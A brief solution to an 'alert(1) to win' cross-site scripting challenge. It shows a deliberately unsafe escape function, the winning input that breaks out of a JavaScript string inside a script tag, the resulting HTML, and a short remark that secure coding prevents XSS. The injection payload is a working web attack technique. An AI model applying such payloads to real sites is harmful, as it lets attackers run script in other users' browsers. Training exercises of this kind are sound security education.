challenge :

alert(1) to win

The code below generates HTML in an unsafe way. Prove it by calling `alert(1)`.

```
function escape(s) {  
  return '<script>console.log(""+s+"");</script>';  
}
```

Input 12

`");alert(1,"`

Output Win!

`<script>console.log("");alert(1,"");</script>`

How is secure coding related to XSS?

XSS attacks can be prevented by implementing secure coding practices. These attacks are happening because websites and web applications unknowingly allow those malicious code to execute. By coding those sites securely we can prevent this attacks
